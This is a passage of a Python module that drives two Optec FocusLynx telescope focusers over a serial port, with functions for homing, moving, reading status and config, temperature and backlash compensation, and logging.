set_backlash_steps(port, x=1,backlash_steps = 10)\n\t\n\t- set_LED_brightness(brightness, port)\n\t\n\t----------------------------------------------------------------------\n\tGroup Observing Functions\n\t----------------------------------------------------------------------\n\t\n\t- focuser_initial_configuration(config_file_name, config_file_loc = \n\t\t'configs/')\n\t\n\t- startup_focuser(config_file_name, config_file_loc = 'configs/')\n\t\n\"\"\"\n\"\"\"\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nFOCUSER CONTROL FUNCTIONS\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\"\"\"\nimport common\nimport serial\nimport logging\nimport time\nimport PLC_interaction_functions as plc\nimport settings_and_error_codes as set_err_codes\n\nfocus_logger = logging.getLogger(__name__)\nfocus_logger.setLevel(logging.INFO)\nfocusHand = logging.FileHandler(filename = set_err_codes.LOGFILES_DIRECTORY+\\\n\t\t\t\t\t\t'focuser.log', mode = 'a')\nfocusHand.setLevel(logging.INFO)\nlogging.Formatter.converter = time.gmtime\nformatter = logging.Formatter('%(asctime)s [%(name)s] %(levelname)s - '\\\n\t\t'%(message)s','%Y-%m-%d_%H:%M:%S_UTC')\nfocusHand.setFormatter(formatter)\nfocus_logger.addHandler(focusHand)\n\n\ndef check_config_port_values_for_focuser(config_dict):\n\t\"\"\"\n\tCheck that the values specified in the config file match what is expected \n\t by the filter wheel manual, includes checks for the baud rate, data bits, \n\t stop bits and parity\n\t \n\t PARAMETERS\n\t \n\t config_file = the config file wth the parameters to be tested\n\t \n\t\"\"\"\n\t\n\t# BAUD RATE\n\tif 'baud_rate' in config_dict.keys():\n\t\tif config_dict['baud_rate'] != 115200:\n\t\t\tfocus_logger.critical('Unexpected baud rate for focuser, 115200 is'\\\n\t\t\t\t' expected')\n\t\t\traise ValueError('Unexpected baud rate for focuser, 115200 is '\\\n\t\t\t\t'expected')\n\telse:\n\t\tfocus_logger.critical('No baud rate found in config file.')\n\t\traise KeyError('No baud rate found in config file.')\n\t\n\t# DATA BITS\n\tif 'data_bits' in config_dict.keys():\n\t\tif config_dict['data_bits'] != 8:\n\t\t\tfocus_logger.critical('Unexpected number for data bits, 8 is'\\\n\t\t\t\t' expected')\n\t\t\traise ValueError('Unexpected number for data bits, 8 is expected')\n\telse:\n\t\tfocus_logger.critical('No data bits number found in config file')\n\t\traise KeyError('No data bits number found in config file')\n\t\n\t# STOP BITS\n\tif 'stop_bits' in config_dict.keys():\n\t\tif config_dict['stop_bits'] != 1:\n\t\t\tfocus_logger.critical('Unexpected number for stop bits, 1 is '\\\n\t\t\t\t'expected')\n\t\t\traise ValueError('Unexpected number for stop bits, 1 is expected')\n\telse:\n\t\tfocus_logger.critical('No stop bits number found in config file')\n\t\traise KeyError('No stop bits number found in config file')\n\t\n\t\n\t# PARITY\n\tif 'parity' in config_dict.keys():\n\t\tif config_dict['parity'] != 'N':\n\t\t\tfocus_logger.critical('Unexpected parity values, \"N\" is expected')\n\t\t\traise ValueError('Unexpected parity values, \"N\" is expected')\n\telse:\n\t\tfocus_logger.critical('No parity values found in config file')\n\t\traise KeyError('No parity values found in config file')\n\n\ndef get_start_end_char(command):\n\t\"\"\"\n\tThe focuser requires a '<' at the begining and a '>' at the end of each \n\t command. This function will add these to any string passed by 'command'.\n\t \n\tPARAMETERS:\n\t\n\t\tcommand - the string command to which <> will be added.\n\t\t\n\tRETURN\n\t\n\t\tfull_command - the full command\n\t\t\n\t\"\"\"\n\n\tfull_command = '<'+str(command)+'>'\n\treturn full_command\n\ndef check_focuser_no(x):\n\t\n\t\"\"\"\n\tMost of the commans for the focuser require the focuser number to be\n\t sent. This can either be set to '1' or '2'. This function just makes sure \n\t that a valid number is sent.\n\t \n\t PARAMETERS:\n\t \n\t\tx = the focuser number to be checked.\n\t\t\"\"\"\n\t\n\tvalid_focuser_number = [1,2]\n\tif x not in valid_focuser_number:\n\t\tfocus_logger.error(str(x) + ' is not a valid focuser number.')\n\t\traise ValueError(str(x) + ' is not a valid focuser number.')\n\telse:\n\t\treturn x\n\n\"\"\"\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nThese assume two focusers connected to one controller, use 'x' parameter to \n\tselect which one, 1=South, 2=North\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\"\"\"\ndef get_focuser_name(port, x=1):\n\t\"\"\"\n\tWill return the user defined nickname for focuser number 'x'.\n\t\n\tPARAMETERS:\n\t\n\t\tx = 1 or 2 depending on the which focuser the command is for\n\t\tport = the open port for communicating with the focuser\n\t\t\n\tRETURN:\n\t\tmessage = name for the focuser or a error message\n\t\n\t\"\"\"\n\tcommand = get_start_end_char('F'+str(check_focuser_no(x))+'HELLO')\n\n\tmessage = common.send_command_two_response(command, port)\n\n\treturn message\n\ndef halt_focuser(port, x=1):\n\t\"\"\"\n\tGet focuser 'x' to stop its current motion. If Temperature Compensation was \n\t active, it becomes deactived\n\t \n\tPARAMETERS:\n\t\n\t\tx = 1 or 2 depending on the which focuser the command is for\n\t\tport = the open port for communicating with the focuser\n\t\n\t\"\"\"\n\n\tcommand = get_start_end_char('F'+str(check_focuser_no(x))+'HALT')\n\t\n\tmessage = common.send_command_two_response(command, port)\n\n\tif message == 'HALTED':\n\t\tfocus_logger.info('Motion of Focuser '+str(x)+' HALTED')\n\telse:\n\t\tfocus_logger.error('Response:'+message)\n\ndef home_focuser(port,x=1):\n\t\"\"\"\n\tAsk focuser 'x' to begin homing routine. Controller will respond with 'H' to\n\t indicate it has started the homing proceedure.\n\t\n\tNeed to first check that the telescope is stowed before homing...\n\n\tPARAMETERS:\n\t\n\t\tx = 1 or 2 depending on the which focuser the command is for\n\t\tport = the open port for communicating with the focuser\n\t\n\t\"\"\"\n\t\n\t#Need to check to make sure the telescope it stowed before homing the\n\t# focusers. Focusers don't like trying to lift all the camera weight.\n\t\n\ttilt_stat = plc.plc_get_telescope_tilt_status()\n\tif tilt_stat['Tilt_angle'] == \"6h East <= x < RA East limit\" or \\\n\t\ttilt_stat['Tilt_angle'] == \"6h West <= x < RA West limit\":\n\t\n\t\tcommand = get_start_end_char('F'+str(check_focuser_no(x))+'HOME')\n\n\t\tmessage = common.send_command_two_response(command, port)\n\n\t\tif message == 'H':\n\t\t\tfocus_logger.info('Focuser '+str(x)+ ' moving to home')\n\t\telse:\n\t\t\tfocus_logger.error('Response:'+message)\n\telse:\n\t\tfocus_logger.error('Cannot home focuser, telescope is not parked')\n\t\tprint('Cannot home focuser, telescope is not parked')\n\ndef center_focuser(port, x=1):\n\n\t\"\"\"\n\tAsk focuser 'x' to move to the center of it's travel. this is defined as \n\t being half the focusers max position. The max position is defined by the \n\t device type that is selected???. Controller will respond with 'M' to \n\t indicate it has started moving.\n\t\n\t*** Should probably get something to check that it's stopped moving *****\n\t\n\tPARAMETERS:\n\t\t\n\t\tx = 1 or 2 depending on the which focuser the command is for\n\t\tport = the open port for communicating with the focuser\n\t\t\n\t\"\"\"\n\ttilt_stat = plc.plc_get_telescope_tilt_status()\n\tif tilt_stat['Tilt_angle'] == \"6h East <= x < RA East limit\" or \\\n\t\ttilt_stat['Tilt_angle'] == \"6h West <= x < RA West limit\":\n\t\n\t\tcommand = get_start_end_char('F'+str(check_focuser_no(x))+'CENTER')\n\n\t\tmessage = common.send_command_two_response(command, port)\n\n\t\tif message == 'M':\n\t\t\tfocus_logger.info('Focuser '+str(x)+ ' moving to center')\n\t\telse:\n\t\t\tfocus_logger.error('Response:'+message)\n\n\telse:\n\t\tfocus_logger.error('Cannot center focuser, telescope is not parked')\n\t\tprint('Cannot center focuser, telescope is not parked')\n\ndef move_to_position(pos, port, x=1):\n\n\n\t\"\"\"\n\tAsk focuser 'x' to move to the position specifiedby 'pos'. Must be between \n\t 0 and the focuser's maximum position (112000). The controller will respond \n\t with 'M' when it starts moving.\n\t\n\tThis function will provide the necessary formating to the 'pos' parameter\n\t\n\t*** Should probably get something to check that it's stopped moving *****\n\t\n\tPARAMETERS:\n\t\n\tpos = integer in range 0 to focuser max position (112000), to which the \n\tfocuser will move.\n\tx = 1 or 2 depending on the which focuser the command is for\n\tport = the open port for communicating with the focuser\n\t\n\t\"\"\"\n\tx = str(check_focuser_no(x))\n\t\n\tif pos > 112000 or pos < 0:\n\t\tfocus_logger.error(str(pos)+ ' is an invalid position for focuser ' + x)\n\t\traise ValueError(str(pos)+ ' is an invalid position for focuser ' + x)\n\t\n\n\tformat_pos = '{0:>06}'.format(pos)\n\n\tcommand = get_start_end_char('F'+ x +'MA'+format_pos)\n\n\tmessage = common.send_command_two_response(command, port)\n\n\tif message == 'M':\n\t\tfocus_logger.info('Focuser '+str(x)+ ' moving to position: '+ format_pos)\n\telse:\n\t\tfocus_logger.error('Response:'+message)\n\ndef move_focuser_in(port, x=1, move_speed=1):\n\t\"\"\"\n\tAsk focuser 'x' to move inwards (i.e. away from max position of 112000). \n\t Focuser will continue to move until a 'end_relative_move' command is \n\t received or it reaches the end of it's travel.\n\t\t\n\t*** Should probably get something to check that it's stopped moving *****\n\t\t\n\t\tPARAMETERS:\n\t\t\n\t\tx = 1 or 2 depending on the which focuser the command is for\n\t\tport = the open port for communicating with the focuser\n\t\tmove_speed = 0 or 1, 0 for high speed, 1 for low speed\n\t\t\n\t\"\"\"\n\tvalid_speeds = [0,1]\n\tif move_speed not in valid_speeds:\n\t\tfocus_logger.error(str(move_speed) + ' is not a valid move speed. 0 = '\\\n\t\t\t'High, 1 = low.')\n\t\traise ValueError(str(move_speed) + ' is not a valid move speed. 0 = '\\\n\t\t\t'High, 1 = low.')\n\t\t\n\telse:\n\t\tx = str(check_focuser_no(x))\n\t\tcommand = get_start_end_char('F'+ x +'MIR'+str(move_speed))\n\t\tmessage = common.send_command_two_response(command, port)\n\n\t\tif message == 'M':\n\t\t\tfocus_logger.info('Focuser '+str(x)+ ' moving inwards')\n\t\telse:\n\t\t\tfocus_logger.error('Response:'+message)\n\ndef move_focuser_out(port, x=1, move_speed=1):\n\t\"\"\"\n\t\tAsk focuser 'x' to move outwards (i.e. towards the max position of \n\t\t 112000). Focuser will continue to move until a 'end_relative_move' \n\t\t command is received or it reaches the end of it's travel.\n\t\t\n\t\t*** Should probably get something to check that it's stopped moving ****\n\t\t\n\t\tPARAMETERS:\n\t\t\n\t\tx = 1 or 2 depending on the which focuser the command is for\n\t\tport = the open port for communicating with the focuser\n\t\tmove_speed = 0 or 1, 0 for high speed, 1 for low speed\n\t\t\n\t\t\"\"\"\n\tvalid_speeds = [0,1]\n\tif move_speed not in valid_speeds:\n\t\tfocus_logger.error(str(move_speed) + ' is not a valid move speed. 0 = '\\\n\t\t\t'High, 1 = low.')\n\t\traise ValueError(str(move_speed) + ' is not a valid move speed. 0 = '\\\n\t\t\t'High, 1 = low.')\n\n\telse:\n\t\tx = str(check_focuser_no(x))\n\t\tcommand = get_start_end_char('F'+ x +'MOR'+str(move_speed))\n\t\tmessage = common.send_command_two_response(command, port)\n\t\t\n\t\tif message == 'M':\n\t\t\tfocus_logger.info('Focuser '+str(x)+ ' moving outwards')\n\n\t\telse:\n\t\t\tfocus_logger.error('Response:'+message)\n\ndef end_relative_move(port, x=1):\n\n\t\"\"\"\n\tWill get focuser 'x' to stop any relative motion. It should respond with \n\t 'STOPPED' when complete. If it was previously running, Temperature \n\t compensation will be resumed after the command is issued.\n\t \n\t PARAMETERS:\n\t\t\n\t\tx = 1 or 2 depending on the which focuser the command is for\n\t\tport = the open port for communicating with the focuser\n\t\n\t\"\"\"\n\tx = str(check_focuser_no(x))\n\tcommand = get_start_end_char('F'+ x +'ERM')\n\tmessage = common.send_command_two_response(command, port)\n\t\t\n\tif message == 'STOPPED':\n\t\tfocus_logger.info('Focuser '+str(x)+ ' motion stopped.')\n\n\telse:\n\t\tfocus_logger.error('Response:'+message)\n\ndef get_focuser_status(port, x=1, return_dict=True):\n\t\"\"\"\n\tWill get focuser 'x' to display its current status. Should start with the \n\t line 'STATUSx' where x will be the focuser number, and finish with the \n\t line 'END'.\n\t\n\t\n\tINFO IN STATUS MESSAGE: (from manual)\n\t\n\tTemp(C): The current temperature in degrees Celisus\n\t\n\tCurr Pos: The current position of the specified focuser\n\t\n\tTarget Pos: The absolute position that the device is currently moving to \n\t\t(if the device is moving)\n\t\n\tIsMoving: This flag is set to 1 if the device is moving and 0 if the device \n\t\tis stationary\n\t\n\tIsHoming: This flag is set 1 while the device is homing and zero otherwise.\n\t\n\tIsHomed: For focusers that support homing, this flag will be set to 0 if the\n\t\tfocuser has not been homed and set to 1 when homed.\n\t\n\tFFDetect: Set to 1 when using an Optec FastFocus Focuser\n\t\n\tTmpProbe: This flag indicates the status of an attached temperature probe. \n\t\tA value of 1 means a probe is attached, 0 means no probe is detected.\n\t\n\tRemoteIO: This flag indicates the status of an attached In/Out remote. A \n\t\tvalue of 1 means a remote is attached, 0 means no remote is detected.\n\t\n\tHnd Ctrlr: This flag indicates the status of an attached hand controller. A \n\t\tvalue of 1 means a hand controller is attached, 0 means no hand \n\t\tcontroller is detected.\n\n\t \n\tPARAMETERS:\n\t\t\n\t\tx = 1 or 2 depending on the which focuser the command is for\n\t\tport = the open port for communicating with the focuser\n\t\treturn_dict = True/False, set to true to get the config values returned \n\t\t\tas a dictionary\n\t\t\n\t\n\tRETURN\n\t\n\t\tmessage = The configuration message returned as a long string.\n\t\tmessage_dict = if return_dict is True, the message will be turned into a\n\t\t\tpython dictionary so parameters can be called to return values.\n\t\t\n\t\"\"\"\n\tx = str(check_focuser_no(x))\n\tcommand = get_start_end_char('F'+ x +'GETSTATUS')\n\tmessage = common.send_command_two_response(command, port,\n\t\texpected_end='END\\n')\n\n\tif return_dict == False:\n\t\treturn message\n\telse:\n\t\t#Convert string to python dictionary, as this will be easier to work\n\t\t# with in other parts of the code.\n\n\t\t#cut of the config + end bits, split into rows, and then split at equals\n\t\tmessage_dict = dict(row.split('=') for row in message[8:-4].split('\\n'))\n\t\t\n\t\t#Need to put the keys into a list, otherwise not all keys are looped\n\t\t# because the keys change during the loop. Was only doing half the\n\t\t# keys.\n\t\tdict_key_list = list(message_dict.keys())\n\t\t# as it is there lots of spaces at the start/end of name and values,\n\t\t# this will remove them\n\t\tfor name in dict_key_list:\n\t\t\tmessage_dict[name] = message_dict[name].strip()\n\t\t\tmessage_dict[name.strip()] = message_dict.pop(name)\n\n\t\treturn message_dict\n\ndef get_focuser_stored_config(port, x = 1, return_dict = False):\n\t\"\"\"\n\t\n\tWill get the controller to report the configuation setting for focuser 'x'. \n\t Should start with the line 'CONFIGx' where x will be the focuser number, \n\t and finish with the line 'END'.\n\t\n\tINFO IN CONFIG MESSAGE: (from manual)\n\t\n\tNickname: The user-defined nickname of the specified focuser\n\t\n\tMaxPos: The maximum absolute position that the selected focuser is capable \n\t of moving to. This setting is determined automatically based on the\n\t selected Device Type.\n\t\n\tDev Typ: A two character designator of the currently set device type for the\n\t specified focuser. See the section entitled ppendix A – Device Types on \n\t page 17 for device type details.\n\t\n\tTComp ON: The current status of temperature compensation. 1 indicates the \n\t device is currently temperature compensating, 0 indicates temperature \n\t compensation is disabled.\n\t\n\tTemCo A-E: These items indicate the temperature coefficient for the \n\t respective temperature compensation mode. The units of the temperature \n\t coefficients are stepper motor steps per degree.\n\t\n\tTC Mode: Indicates the currently selected temperature compensation mode. \n\t When temperature compensation mode is turned on this value selected mode \n\t indicates which temperature coefficient will be used for compensation.\n\t\n\tBLC En: This flag indicates whether the internal backlash compensation is \n\t turned on or off. A value of 1 indicates that this feature is turned on, \n\t 0 indicates the feature is off.\n\t\n\tBLC Stps: This value indicates the number of steps that the focuser will \n\t travel past the target position before returning to the target position \n\t in order to compensate for mechanical backlash in the focusing device. A \n\t positive value indicates the compensation will occur when the focuser move \n\t to a greater absolute position. A negative value indicates the compensation\n\twill occur on moves to a lesser position. LED Brt: This value indicates the \n\tcurrent setting for the brightness of the red power LED on the FocusLynx \n\tcontroller enclosure\n\t\n\tTC@Start: This value indicates if the Temperature Compensate at Start \n\t feature is turned on or off. A value of 1 indicate the feature is on, 0 \n\tindicates the feature is off. When this feature is enabled the device will \n\tautomatically perform a temperature compensation move immediately following \n\tdevice power-up.\n\t\n\tPARAMETERS:\n\t\n\t\tx = 1 or 2 depending on the which focuser the command is for\n\t\tport = the open port for communicating with the focuser\n\t\treturn_dict = True/False, set to true to get the config values returned \n\t\tas a dictionary\n\t\t\n\t\n\tRETURN\n\t\n\t\tmessage = The configuration message returned as a long string.\n\t\tmessage_dict = if return_dict is True, the message will be turned into \n\t\ta python dictionary so parameters can be called to return values.\n\t\t\n\t\n\t\"\"\"\n\t\n\tx = str(check_focuser_no(x))\n\tcommand = get_start_end_char('F'+ x +'GETCONFIG')\n\tmessage = common.send_command_two_response(command, port,\n\t\texpected_end='END\\n')\n\t\n\tif return_dict == False:\n\t\treturn message\n\telse:\n\t\t#Convert string to python dictionary, as this will be easier to work\n\t\t# with in other parts of the code.\n\t\t#cut of the config + end bits, split into rows, and then split at equals\n\t\tmessage_dict = dict(row.split('=') for row in message[8:-4].split('\\n'))\n\t\t\n\t\t#Need to put the keys into a list, otherwise not all keys are looped\n\t\t# because the keys change during the loop. Was only doing half the\n\t\t# keys.\n\t\tdict_key_list = list(message_dict.keys())\n\t\t# as it is there lots of spaces at the start/end of name and values,\n\t\t# this will remove them\n\t\tfor name in dict_key_list:\n\t\t\tmessage_dict[name] = message_dict[name].strip()\n\t\t\tmessage_dict[name.strip()] = message_dict.pop(name)\n\n\n\t\treturn message_dict\n\n\ndef set_device_name(port, device_name, x=1):\n\t\"\"\"\n\tUse to set a new nickname for focuser 'x'. Controller will respond with \n\t'SET' once complete.\n\t\n\tPARAMETERS:\n\t\n\t\tx = 1 or 2 depending on the which focuser the command is for\n\t\tport = the open port for communicating with the focuser\n\t\tdevice_name = string with new name. Max 16 char\n\t\n\t\"\"\"\n\t# check the length of the new device nickname\n\tname_length = len(device_name)\n\tif name_length > 16 or name_length <= 0:\n\t\tfocus_logger.error('Invalid device name given')\n\t\traise ValueError('Invalid device name given')\n\n\telse:\n\t\tx = str(check_focuser_no(x))\n\t\tcommand = get_start_end_char('F'+ x +'SCNN'+str(device_name))\n\t\tmessage = common.send_command_two_response(command, port)\n\n\t\tif message == 'SET':\n\t\t\tfocus_logger.info('Name for Focuser '+str(x)+ ' set as: ' + str(\n\t\t\t\tdevice_name))\n\n\t\telse:\n\t\t\tfocus_logger.error('Response:'+message)\n\n\ndef set_device_type(port, x = 1, device_type = 'OI'):\n\n\t\"\"\"\n\tUse this to specify the type of focuser attached. The controller uses this \n\tinformation to determine the correct speed and motor power to use. An \n\tincorrect value could damage a focuser. Valid settings are shown in \n\tAppendix A of the user manual, and are also listed here. The controller will\n\t respond with 'SET' once complete.\n\t\n\t\n\tAvailable Types:\n\t\n\t\tOA: Optec TCF-Lynx 2”\n\t\tOB: Optec TCF-Lynx 3”\n\t\tOC: Optec TCF-Lynx 2” with Extended Travel\n\t\tOD: Optec Fast Focus Secondary Focuser\n\t\tOE: Optec TCF-S Classic converted (original unipolar motor)\n\t\tOF: Optec TCF-S3 Classic converted (original unipolar motor)\n\t\tOG: Optec Gemini (reserved for future use)\n\t\tOI: what it was initial set as\n\t\tFA: FocusLynx QuickSync FT Hi-Torque\n\t\tFB: FocusLynx QuickSync FT Hi-Speed\n\t\n\t*** 2/11/18 ***\n\tI think the focuser are TCF-S 3\" so device type OB, but need to check.\n\t\n\tPARAMETERS:\n\t\n\t\tx = 1 or 2 depending on the which focuser the command is for\n\t\t\n\t\tport = the open port for communicating with the focuser\n\t\t\n\t\tdevice_type = string, 2 characters in length to set what type of focuser\n\t\t is connected to the control box. Valid options: OA, OB, OC, OD, OE, OF,\n\t\t OG, FA, and FB. See Appendix A of controller manual for more info.\n\n\t\n\t\"\"\"\n\n\tvalid_device_types = ['OA', 'OB', 'OC', 'OD', 'OE',\n\t\t\t\t\t\t\t'OF', 'OG', 'FA', 'FB', 'OI']\n\n\tif device_type not in valid_device_types:\n\n\t\tfocus_logger.error(str(device_type) + ' is not a valid device type.')\n\t\traise ValueError(str(device_type) + ' is not a valid device type.')\n\n\telse:\n\t\tx = str(check_focuser_no(x))\n\t\tcommand = get_start_end_char('F'+ x +'SCDT'+str(device_type))\n\t\tmessage = common.send_command_two_response(command, port)\n\n\t\tif message == 'SET':\n\t\t\tfocus_logger.info('Device Type for Focuser '+str(x)+ ' set '\\\n\t\t\t\t'as: ' + str(device_type))\n\n\t\telse:\n\t\t\tfocus_logger.error('Response:'+message)\n\n\n\ndef set_temp_comp(port, x =1, temp_comp = False):\n\t\"\"\"\n\tUse to enabled/disable the temperature compensation feature for focuser 'x'.\n\t Controller will respond with 'SET' once complete.\n\t\n\tPARAMETERS:\n\t\n\t\tx = 1 or 2 depending on the which focuser the command is for\n\t\tport = the open port for communicating with the focuser\n\t\ttemp_comp = True/False. True will enabled the temperature compensation \n\t\t\tfeature, False will disable\n\n\n\t\"\"\"\n\tif temp_comp == True:\n\t\ttc_state = 'ENABLED'\n\t\tsetno = str(1)\n\t\n\telif temp_comp == False:\n\t\ttc_state = 'DISABLED'\n\t\tsetno = str(0)\n\telse:\n\t\t#print(temp_comp)\n\t\t#print(type(temp_comp))\n\t\tfocus_logger.error('Invalid input for temperature compensation control'\\\n\t\t\t'. True=Enable, False=Disable')\n\t\traise ValueError('Invalid input for temperature compensation control.'\\\n\t\t\t' True=Enable, False=Disable')\n\n\tx = str(check_focuser_no(x))\n\t#print(temp_comp)\n\tcommand = get_start_end_char('F'+ x +'SCTE'+str(setno))\n\tmessage = common.send_command_two_response(command, port)\n\n\tif message == 'SET':\n\t\tfocus_logger.info('Temperature compensation ' + tc_state + ' for'\\\n\t\t\t' focuser '+str(x))\n\n\telse:\n\t\tfocus_logger.error('Response:'+message)\n\ndef set_temp_comp_mode(port, x=1, mode='A'):\n\n\t\"\"\"\n\tUse this to set the mode used when the temperature compensation mode is set.\n\t For example, selecting mode 'C' will mean that temperature coefficient \n\t 'C' will be used. The controller will respond with 'SET' once complete.\n\t\t\n\t\tPARAMETERS:\n\t\n\t\tx = 1 or 2 depending on the which focuser the command is for\n\t\tport = the open port for communicating with the focuser\n\t\tmode = Mode to be selected for the temperature compensation. \n\t\tSuitable values are: A, B, C, D or E.\n\t\n\t\"\"\"\n\n\tvalid_modes = ['A','B','C','D','E']\n\tif mode not in valid_modes:\n\t\tfocus_logger.error(str(mode)+ ' is not a valid mode for the '\\\n\t\t\t'temperature compensation.')\n\t\traise ValueError(str(mode) + ' is not a valid mode for the '\\\n\t\t\t'temperature compensation.')\n\n\telse:\n\t\tx = str(check_focuser_no(x))\n\t\tcommand = get_start_end_char('F'+ x +'SCTM'+str(mode))\n\t\tmessage = common.send_command_two_response(command, port)\n\n\t\tif message == 'SET':\n\t\t\tfocus_logger.info('Temperature compensation mode ' + str(\n\t\t\t\tmode) + ' set for focuser '+str(x))\n\n\t\telse:\n\t\t\tfocus_logger.error('Response:'+message)\n\ndef set_temp_comp_coeff(port,mode,temp_coeff_val, x=1):\n\n\t\"\"\"\n\tUse this function to set the temperature coefficients for each of the \n\t\tmodes, for each focuser.\n\t\n\tPARAMETERS:\n\t\n\t\tx = 1 or 2 depending on the which focuser the command is for\n\t\tport = the open port for communicating with the focuser\n\t\tmode = Mode to be selected for the temperature compensation. Suitable \n\t\t\tvalues are: A, B, C, D or E.\n\t\ttemp_coeff_val = integer (in steps per degree) to be used for the \n\t\t\tcoefficient. Between -9999 and 9999.\n\t\n\t\"\"\"\n\n\tvalid_modes = ['A','B','C','D','E']\n\tif mode not in valid_modes:\n\t\tfocus_logger.error(str(mode)+ ' is not a valid mode for the '\\\n\t\t\t'temperature compensation.')\n\t\traise ValueError(str(mode) + ' is not a valid mode for the '\\\n\t\t\t'temperature compensation.')\n\n\n\tif isinstance(temp_coeff_val, int) == False:\n\t\tfocus_logger.error('Temperature compensation coefficient must be '\\\n\t\t\t'an integer')\n\telse:\n\n\t\tif temp_coeff_val < -9999 or temp_coeff_val > 9999:\n\t\t\tfocus_logger.error('Invalid value enter for the temperature '\\\n\t\t\t\t'compensation coefficient')\n\n\t\telse:\n\n\t\t\tx = str(check_focuser_no(x))\n\t\t\tformatted_coeff = '{0:=+05}'.format(temp_coeff_val)\n\t\t\tcommand = get_start_end_char('F'+ x +'SCTC'+str(\n\t\t\t\tmode)+formatted_coeff)\n\t\t\t\n\t\t\tmessage = common.send_command_two_response(command, port)\n\n\t\t\tif message == 'SET':\n\t\t\t\tfocus_logger.info('Temperature compensation coefficient'\\\n\t\t\t\t\t'set as ' + formatted_coeff +\n\t\t\t\t' for mode: '+ str(mode) + ' and for focuser '+str(x))\n\n\t\t\telse:\n\t\t\t\tfocus_logger.error('Response:'+message)\n\n\ndef set_temp_comp_start_state(port, x=1, temp_comp_start = False):\n\n\t\"\"\"\n\tEnable or disable the 'Temperature Compensation at Start' feature on the \n\t controller. When enabled, the controller will perform a temperature \n\t compensation move when the device is first switched on, using the \n\t temperature recorded last time the compensation feature was switched on. \n\t Controller will respond with 'SET' once complete.\n\t\n\tPARAMETERS:\n\t\n\t\tx = 1 or 2 depending on the which focuser the command is for\n\t\tport = the open port for communicating with the focuser\n\t\ttemp_comp_start = True/False. True will enabled the 'temperature \n\t\t\tcompensation at start' feature, False will disable it.\n\t\n\t\"\"\"\n\tif temp_comp_start == False:\n\t\ttcs_state = 'DISABLED'\n\t\tset_no = 0\n\telif temp_comp_start == True:\n\t\ttcs_state = 'ENABLED'\n\t\tset_no =1\n\telse:\n\t\tfocus_logger.error('Invalid input for \"temperature compensation at '\\\n\t\t\t'start\" control. True=Enable, False=Disable')\n\t\traise ValueError('Invalid input for \"temperature compensation at '\\\n\t\t\t'start\" control. True=Enable, False=Disable')\n\n\n\tx = str(check_focuser_no(x))\n\tcommand = get_start_end_char('F'+ x +'SCTS'+str(set_no))\n\tmessage = common.send_command_two_response(command, port)\n\n\tif message == 'SET':\n\t\tfocus_logger.info('\"Temperature compensation at start\" state set '\\\n\t\t\t'to ' + tcs_state + ' for focuser '+str(x))\n\n\telse:\n\t\tfocus_logger.error('Response:'+message)\n\n\ndef set_backlash_comp(port,x=1, backlash_comp = False):\n\n\t\"\"\"\n\tEnable or disable the 'Backlash Compensation as Start' feature on the \n\t controller. When enabled, the controller will move the focus pass the \n\t target position (by a number of steps that is set using the \n\t set_backlash_steps() function) and then return to the target position. \n\t This is so the focuser always approaches the target postition to try to \n\t avoid mechanical backlash. Backlash compensation is caried out on all \n\t outward moves (never on inward moves) Controller will respond with 'SET' \n\t once complete.\n\t\n\tPARAMETERS:\n\t\n\t\tx = 1 or 2 depending on the which focuser the command is for\n\t\tport = the open port for communicating with the focuser\n\t\tbacklash_comp = True/False. True will enabled the backlash compensation\n\t\t feature, False will disable it.\n\t\n\t\"\"\"\n\tif backlash_comp == False:\n\t\tbl_state = 'DISABLED'\n\t\tset_no = 0\n\telif backlash_comp == True:\n\t\tbl_state = 'ENABLED'\n\t\tset_no =1\n\telse:\n\t\tfocus_logger.error('Invalid input for backlash compensation control.'\\\n\t\t\t' True=Enable, False=Disable')\n\t\traise ValueError('Invalid input for backlash compensation control. '\\\n\t\t\t'True=Enable, False=Disable')\n\n\n\tx = str(check_focuser_no(x))\n\tcommand = get_start_end_char('F'+ x +'SCBE'+str(set_no))\n\tmessage = common.send_command_two_response(command, port)\n\n\tif message == 'SET':\n\t\tfocus_logger.info('Backlash compensation state set to ' + bl_state +\n\t\t\t' for focuser '+str(x))\n\n\telse:\n\t\tfocus_logger.error('Response:'+message)\n\ndef set_backlash_steps(port,x=1, backlash_steps = 10):\n\n\t\"\"\"\n\tUse to set the number of steps the focuser will move past the target \n\t position whilst carrying out a backlash compensation move. Backlash \n\t compensation is caried out on all outward moves (never on inward moves) \n\t Controller will respond with 'SET' once complete.\n\t\t\n\tPARAMETERS:\n\t\n\t\tx = 1 or 2 depending on the which focuser the command is for\n\t\tport = the open port for communicating with the focuser\n\t\tbacklash_steps = Integer between 0-99, for the number of steps past the \n\t\t\ttarget point the focuser will move.\n\t\n\t\"\"\"\n\t#make sure value is an integer\n\tif isinstance(backlash_steps, int) == False:\n\t\tfocus_logger.error('Backlash steps value must be an integer.')\n\t\t\n\telse:\n\t\tif backlash_steps<=0 or backlash_steps >99:\n\t\t\tfocus_logger.error('Backlash steps must be between 0 and 99')\n\n\t\telse:\n\t\t\tx = str(check_focuser_no(x))\n\t\t\tformatted_steps = '{0:>02}'.format(backlash_steps)\n\t\t\tcommand = get_start_end_char('F'+ x +'SCBS'+str(formatted_steps))\n\t\t\tmessage = common.send_command_two_response(command, port)\n\n\t\t\tif message == 'SET':\n\t\t\t\tfocus_logger.info('Backlash steps set to ' + formatted_steps +\n\t\t\t\t\t' for focuser '+str(x))\n\n\t\t\telse:\n\t\t\t\tfocus_logger.error('Response:'+message)\n\ndef set_LED_brightness(brightness, port):\n\n\t\"\"\"\n\tUse 'brightness' to change the brightness of the LED on the controller \n\t enclosure. 0 will turn off the LED. Controller will respond with 'SET' \n\t once complete.\n\t\n\tPARAMETERS:\n\t\n\tbrightness = An integer between 0 and 100. 0 will turn off the LED.\n\tport = the open port for communicating with the focuser\n\t\n\t\"\"\"\n\t\n\n\tif isinstance(brightness, int):\n\t\n\t\tif brightness > 100 or brightness < 0:\n\t\t\tfocus_logger.error(str(brightness)+ ' is an invalid value for 